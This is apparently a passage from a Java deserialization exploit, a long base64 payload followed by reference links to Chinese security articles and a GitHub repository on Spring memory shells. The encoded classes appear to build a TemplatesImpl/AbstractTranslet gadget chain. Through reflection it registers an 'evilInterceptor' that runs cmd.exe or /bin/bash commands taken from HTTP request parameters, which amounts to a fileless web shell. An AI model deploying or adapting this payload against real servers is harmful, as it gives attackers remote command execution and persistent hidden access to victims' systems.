cmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEAB2NvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAVbWFwcGluZ0hhbmRsZXJNYXBwaW5nAQBATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAEWFkYXB0SW50ZXJjZXB0b3JzAQAQTGphdmEvdXRpbC9MaXN0OwEABGNvZGUBABJMamF2YS9sYW5nL1N0cmluZzsBAAFkAQACW0IBAAFtAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY29uc3RydWN0b3IBAB9MamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAPZXZpbEludGVyY2VwdG9yAQA0TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOwEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAEZMamF2YS91dGlsL0xpc3Q8TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOz47AQAUTGphdmEvbGFuZy9DbGFzczwqPjsBACJMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I8Kj47AQANU3RhY2tNYXBUYWJsZQcAbQcAbgcAlAcAcgcAdwcAeAcAkAEAClNvdXJjZUZpbGUBABNJbnRlcmNlcHRvckRlcy5qYXZhDAArACwHAJUMAJYAlwEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAmAwAmQCaAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAD5vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyTWFwcGluZwwAmwCcAQATYWRhcHRlZEludGVyY2VwdG9ycwwAnQCeAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uDACfACwHAJQMAKAAoQwAogCjAQAOamF2YS91dGlsL0xpc3QBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgER0Hl2NjZ2Z0FBQURRQXJBb0FLQUJlQ0FCRkN3QmZBR0FMQUdFQVlnZ0FZd29BWkFCbENnQUxBR1lJQUdjS0FBc0FhQWNBYVFjQWFnZ0Fhd2dBYkFvQUNnQnRDQUJ1Q0FCdkNnQUtBSEFLQUFvQWNRY0FjZ2NBY3dvQWRBQjFDZ0FVQUhZS0FCTUFkd2dBZUFjQWVRb0FHUUJlQ2dBVEFIb0tBQmtBZXdnQWZBb0FHUUI5Q1FCa0FINEtBSDhBZ0FvQWdRQ0FDZ0NCQUlJS0FJRUFnd2NBaEFzQUtRQ0ZDd0FwQUlZSEFJY0hBSWdIQUlrQkFBWThhVzVwZEQ0QkFBTW9LVllCQUFSRGIyUmxBUUFQVEdsdVpVNTFiV0psY2xSaFlteGxBUUFTVEc5allXeFdZWEpwWVdKc1pWUmhZbXhsQVFBRWRHaHBjd0VBUFV4dmNtY3ZZMnh2ZDI0dmMzQnlhVzVuWW05dmRHMWxiVzl5ZVhOb1pXeHNMMmx1ZEdWeVkyVndkRzl5TDFSbGMzUkpiblJsY21ObGNIUnZjanNCQUFsd2NtVklZVzVrYkdVQkFHUW9UR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGNYVmxjM1E3VEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjM0J2Ym5ObE8weHFZWFpoTDJ4aGJtY3ZUMkpxWldOME95bGFBUUFCY0FFQUdreHFZWFpoTDJ4aGJtY3ZVSEp2WTJWemMwSjFhV3hrWlhJN0FRQUdkM0pwZEdWeUFRQVZUR3BoZG1FdmFXOHZVSEpwYm5SWGNtbDBaWEk3QVFBSGNISnZZMlZ6Y3dFQUUweHFZWFpoTDJ4aGJtY3ZVSEp2WTJWemN6c0JBQUZ5QVFBWVRHcGhkbUV2YVc4dlFuVm1abVZ5WldSU1pXRmtaWEk3QVFBR2NtVnpkV3gwQVFBU1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQUhjbVZ6ZFd4MGN3RUFHVXhxWVhaaEwyeGhibWN2VTNSeWFXNW5RblZwYkdSbGNqc0JBQWR5WlhGMVpYTjBBUUFuVEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjWFZsYzNRN0FRQUljbVZ6Y0c5dWMyVUJBQ2hNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnpjRzl1YzJVN0FRQUhhR0Z1Wkd4bGNnRUFFa3hxWVhaaEwyeGhibWN2VDJKcVpXTjBPd0VBQkdOdlpHVUJBQTFUZEdGamEwMWhjRlJoWW14bEJ3QnFCd0NLQndCcEJ3Q0hCd0NMQndDTUJ3Q0lCd0NOQndCeUJ3QjVCd0NFQVFBS1JYaGpaWEIwYVc5dWN3RUFFRTFsZEdodlpGQmhjbUZ0WlhSbGNuTUJBQXB3YjNOMFNHRnVaR3hsQVFDU0tFeHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPMHhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlR0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0TWIzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzlOYjJSbGJFRnVaRlpwWlhjN0tWWUJBQXh0YjJSbGJFRnVaRlpwWlhjQkFDNU1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdmMyVnlkbXhsZEM5TmIyUmxiRUZ1WkZacFpYYzdBUUFQWVdaMFpYSkRiMjF3YkdWMGFXOXVBUUI1S0V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWEYxWlhOME8weHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhOd2IyNXpaVHRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHRNYW1GMllTOXNZVzVuTDBWNFkyVndkR2x2YmpzcFZnRUFBbVY0QVFBVlRHcGhkbUV2YkdGdVp5OUZlR05sY0hScGIyNDdBUUFLVTI5MWNtTmxSbWxzWlFFQUZGUmxjM1JKYm5SbGNtTmxjSFJ2Y2k1cVlYWmhEQUFxQUNzSEFJc01BSTRBandjQWpBd0FrQUNSQVFBSGIzTXVibUZ0WlFjQWtnd0Frd0NQREFDVUFKVUJBQU4zYVc0TUFKWUFsd0VBR0dwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56UW5WcGJHUmxjZ0VBRUdwaGRtRXZiR0Z1Wnk5VGRISnBibWNCQUFkamJXUXVaWGhsQVFBQ0wyTU1BQ29BbUFFQUNTOWlhVzR2WW1GemFBRUFBaTFqREFDWkFKb01BSnNBbkFFQUZtcGhkbUV2YVc4dlFuVm1abVZ5WldSU1pXRmtaWElCQUJscVlYWmhMMmx2TDBsdWNIVjBVM1J5WldGdFVtVmhaR1Z5QndDTkRBQ2RBSjRNQUNvQW53d0FLZ0NnQVFBQUFRQVhhbUYyWVM5c1lXNW5MMU4wY21sdVowSjFhV3hrWlhJTUFLRUFsUXdBb2dDakFRQUNEUW9NQUtRQWxRd0FwUUNtQndDbkRBQ29BS2tIQUlvTUFLb0FLd3dBcXdBckFRQVRhbUYyWVM5c1lXNW5MMFY0WTJWd2RHbHZiZ3dBVkFCVkRBQllBRmtCQUR0dmNtY3ZZMnh2ZDI0dmMzQnlhVzVuWW05dmRHMWxiVzl5ZVhOb1pXeHNMMmx1ZEdWeVkyVndkRzl5TDFSbGMzUkpiblJsY21ObGNIUnZjZ0VBRUdwaGRtRXZiR0Z1Wnk5UFltcGxZM1FCQURKdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMGhoYm1Sc1pYSkpiblJsY21ObGNIUnZjZ0VBRTJwaGRtRXZhVzh2VUhKcGJuUlhjbWwwWlhJQkFDVnFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBBUUFtYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnpjRzl1YzJVQkFCRnFZWFpoTDJ4aGJtY3ZVSEp2WTJWemN3RUFER2RsZEZCaGNtRnRaWFJsY2dFQUppaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFKWjJWMFYzSnBkR1Z5QVFBWEtDbE1hbUYyWVM5cGJ5OVFjbWx1ZEZkeWFYUmxjanNCQUJCcVlYWmhMMnhoYm1jdlUzbHpkR1Z0QVFBTFoyVjBVSEp2Y0dWeWRIa0JBQXQwYjB4dmQyVnlRMkZ6WlFFQUZDZ3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFJWTI5dWRHRnBibk1CQUJzb1RHcGhkbUV2YkdGdVp5OURhR0Z5VTJWeGRXVnVZMlU3S1ZvQkFCWW9XMHhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxXQVFBVGNtVmthWEpsWTNSRmNuSnZjbE4wY21WaGJRRUFIU2hhS1V4cVlYWmhMMnhoYm1jdlVISnZZMlZ6YzBKMWFXeGtaWEk3QVFBRmMzUmhjblFCQUJVb0tVeHFZWFpoTDJ4aGJtY3ZVSEp2WTJWemN6c0JBQTVuWlhSSmJuQjFkRk4wY21WaGJRRUFGeWdwVEdwaGRtRXZhVzh2U1c1d2RYUlRkSEpsWVcwN0FRQVlLRXhxWVhaaEwybHZMMGx1Y0hWMFUzUnlaV0Z0T3lsV0FRQVRLRXhxWVhaaEwybHZMMUpsWVdSbGNqc3BWZ0VBQ0hKbFlXUk1hVzVsQVFBR1lYQndaVzVrQVFBdEtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMU4wY21sdVowSjFhV3hrWlhJN0FRQUlkRzlUZEhKcGJtY0JBQU52ZFhRQkFCVk1hbUYyWVM5cGJ5OVFjbWx1ZEZOMGNtVmhiVHNCQUJOcVlYWmhMMmx2TDFCeWFXNTBVM1J5WldGdEFRQUhjSEpwYm5Sc2JnRUFGU2hNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNwVmdFQUJXWnNkWE5vQVFBRlkyeHZjMlVBSVFBbkFDZ0FBUUFwQUFBQUJBQUJBQ29BS3dBQkFDd0FBQUF2QUFFQUFRQUFBQVVxdHdBQnNRQUFBQUlBTFFBQUFBWUFBUUFBQUF3QUxnQUFBQXdBQVFBQUFBVUFMd0F3QUFBQUFRQXhBRElBQXdBc0FBQUNKd0FHQUFzQUFBRGNLeElDdVFBREFnQTZCQmtFeGdET0xMa0FCQUVBT2dVU0JiZ0FCcllBQnhJSXRnQUptUUFpdXdBS1dRYTlBQXRaQXhJTVUxa0VFZzFUV1FVWkJGTzNBQTQ2QnFjQUg3c0FDbGtHdlFBTFdRTVNEMU5aQkJJUVUxa0ZHUVJUdHdBT09nWVpCZ1MyQUJGWEdRYTJBQkk2QjdzQUUxbTdBQlJaR1FlMkFCVzNBQmEzQUJjNkNCSVlPZ203QUJsWnR3QWFPZ29aQ0xZQUcxazZDY1lBSUJrS3V3QVpXYmNBR2hrSnRnQWNFaDIyQUJ5MkFCNjJBQnhYcC8vYnNnQWZHUXEyQUNBWkJSa0t0Z0FoR1FXMkFDSVpCYllBSTZjQUJUb0ZBNndFckFBQkFBOEEwd0RXQUNRQUF3QXRBQUFBVmdBVkFBQUFEd0FLQUJBQUR3QVNBQmNBRkFBbkFCVUFSZ0FYQUdJQUdRQnBBQm9BY0FBYkFJVUFIQUNKQUIwQWtnQWVBSjBBSHdDNkFDRUF3Z0FpQU1rQUl3RE9BQ1FBMHdBbUFOWUFKUURZQUNjQTJnQXBBQzRBQUFCNkFBd0FRd0FEQURNQU5BQUdBQmNBdkFBMUFEWUFCUUJpQUhFQU13QTBBQVlBY0FCakFEY0FPQUFIQUlVQVRnQTVBRG9BQ0FDSkFFb0FPd0E4QUFrQWtnQkJBRDBBUGdBS0FBQUEzQUF2QURBQUFBQUFBTndBUHdCQUFBRUFBQURjQUVFQVFnQUNBQUFBM0FCREFFUUFBd0FLQU5JQVJRQThBQVFBUmdBQUFGVUFCLzBBUmdjQVJ3Y0FTUHdBR3djQVNmOEFMd0FMQndCS0J3QkxCd0JNQndCTkJ3QkhCd0JJQndCSkJ3Qk9Cd0JQQndCSEJ3QlFBQUFuL3dBYkFBVUhBRW9IQUVzSEFFd0hBRTBIQUVjQUFRY0FVUUVCQUZJQUFBQUVBQUVBSkFCVEFBQUFEUU1BUHdBQUFFRUFBQUJEQUFBQUFRQlVBRlVBQXdBc0FBQUFZQUFGQUFVQUFBQUtLaXNzTFJrRXR3QWxzUUFBQUFJQUxRQUFBQW9BQWdBQUFDNEFDUUF2QUM0QUFBQTBBQVVBQUFBS0FDOEFNQUFBQUFBQUNnQS9BRUFBQVFBQUFBb0FRUUJDQUFJQUFBQUtBRU1BUkFBREFBQUFDZ0JXQUZjQUJBQlNBQUFBQkFBQkFDUUFVd0FBQUJFRUFEOEFBQUJCQUFBQVF3QUFBRllBQUFBQkFGZ0FXUUFEQUN3QUFBQmdBQVVBQlFBQUFBb3FLeXd0R1FTM0FDYXhBQUFBQWdBdEFBQUFDZ0FDQUFBQU13QUpBRFFBTGdBQUFEUUFCUUFBQUFvQUx3QXdBQUFBQUFBS0FEOEFRQUFCQUFBQUNnQkJBRUlBQWdBQUFBb0FRd0JFQUFNQUFBQUtBRm9BV3dBRUFGSUFBQUFFQUFFQUpBQlRBQUFBRVFRQVB3QUFBRUVBQUFCREFBQUFXZ0FBQUFFQVhBQUFBQUlBWFE9PQEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAKQApQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwcApgwApwBTDACoAKkHAKoHAKsMAKwArQwArgCvAQAQamF2YS9sYW5nL09iamVjdAEAO29yZy5jbG93bi5zcHJpbmdib290bWVtb3J5c2hlbGwuaW50ZXJjZXB0b3IuVGVzdEludGVyY2VwdG9yDACwALEMALIAswwAtAC1BwC2DAC3ALgBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgwAuQC6AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAGGNvbS9jbG93bi9JbnRlcmNlcHRvckRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA9wcmludFN0YWNrVHJhY2UBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA5nZXRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoAIQApACoAAAAAAAQAAQArACwAAQAtAAAALwABAAEAAAAFKrcAAbEAAAACAC4AAAAGAAEAAAAQAC8AAAAMAAEAAAAFADAAMQAAAAEAMgAzAAMALQAAAD8AAAADAAAAAbEAAAACAC4AAAAGAAEAAAA0AC8AAAAgAAMAAAABADAAMQAAAAAAAQA0ADUAAQAAAAEANgA3AAIAOAAAAAQAAQA5ADoAAAAJAgA0AAAANgAAAAEAMgA7AAMALQAAAEkAAAAEAAAAAbEAAAACAC4AAAAGAAEAAAA5AC8AAAAqAAQAAAABADAAMQAAAAAAAQA0ADUAAQAAAAEAPAA9AAIAAAABAD4APwADADgAAAAEAAEAOQA6AAAADQMANAAAADwAAAA+AAAACABAACwAAQAtAAACWQAGAAoAAADbuAACEgMDuQAEAwDAAAVLKhIGuQAHAgDAAAZMAU0SBhIItgAJTacACE4ttgALLAS2AAwBTiwrtgANwAAOTqcACjoEGQS2ABASEToEuwASWbcAExkEtgAUOgUSFRIWB70AF1kDEhhTWQQSGVNZBbIAGlNZBrIAGlO2ABs6BhkGBLYAHBkGuAAdtgAeB70AH1kDEiBTWQQZBVNZBQO4ACFTWQYZBb64ACFTtgAiwAAXOgcZBwO9ABe2ACM6CBkIA70AH7YAJMAAJToJLRkJuQAmAgBXpwAISyq2ACixAAMAHQAlACgACgA0AD0AQAAPAAAA0gDVACcABAAuAAAAZgAZAAAAEwAPABUAGwAWAB0AGAAlABsAKAAZACkAGgAtABwAMgAdADQAHwA9ACIAQAAgAEIAIQBHACMASwAkAFkAJQB8ACYAggAnALAAKAC7ACkAyQAqANIALQDVACsA1gAsANoALwAvAAAAhAANACkABABBAEIAAwBCAAUAQQBDAAQADwDDAEQARQAAABsAtwBGAEcAAQAdALUASABJAAIANACeAEoASwADAEsAhwBMAE0ABABZAHkATgBPAAUAfABWAFAAUQAGALAAIgBSAFMABwC7ABcAVABVAAgAyQAJAFYAVwAJANYABABBAFgAAABZAAAAIAADADQAngBKAFoAAwCwACIAUgBbAAcAuwAXAFQAXAAIAF0AAAA4AAb/ACgAAwcAXgcAXwcAYAABBwBhBP8AEgAEBwBeBwBfBwBgBwBiAAEHAGMG/wCNAAAAAQcAZAQAAQBlAAAAAgBmcHQAA2FhYXB3AQB4dXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgAt
|
参考
https://xz.aliyun.com/t/12047?time__1311=GqGxR70QD%3DG%3DitD%2FYriQGkbvkp6QHKF4D&u_atoken=3b72cba8102056dc353d4296b75d2ed3&u_asig=0a47319217313359997215116e009a
https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/%E5%88%A9%E7%94%A8intercetor%E6%B3%A8%E5%85%A5Spring%E5%86%85%E5%AD%98%E9%A9%AC/code/TouchFilea.java
https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/%E5%88%A9%E7%94%A8intercetor%E6%B3%A8%E5%85%A5Spring%E5%86%85%E5%AD%98%E9%A9%AC/index.md
https://forum.butian.net/share/3002